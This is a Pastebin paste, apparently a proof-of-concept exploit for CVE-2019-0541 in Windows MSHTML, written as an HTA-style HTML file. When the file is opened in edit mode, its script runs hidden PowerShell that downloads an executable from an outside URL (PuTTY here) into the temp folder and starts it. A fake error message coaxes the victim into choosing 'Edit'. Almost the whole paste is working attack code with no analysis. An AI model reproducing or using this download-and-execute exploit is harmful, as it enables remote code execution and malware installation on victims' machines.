xrahitel

Windows (CVE-2019-0541) MSHTML

May 21st, 2019
579
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. <html>
  2. <head><**** name=ProgId content=htafile>
  3. </head>
  4. <hta:application id=x>
  5. <script>
  6. try { if (x.commandLine != "") {
  7.  
  8. new ActiveXObject("Wscript.Shell").Run('powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(‘https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe’,’%TEMP%\putty.exe’); Start-Process “%TEMP%\putty.exe”')
  9. }
  10.  
  11. }
  12.  
  13. catch(ex) { alert('Error: This ******** must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. \n If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...".'); }
  14.  
  15.  
  16. </script>
  17. <noscript> Error: This ******** must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. <br> If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...". </noscript>
  18. </html>
Advertisement
Add Comment
Please, Sign In to add comment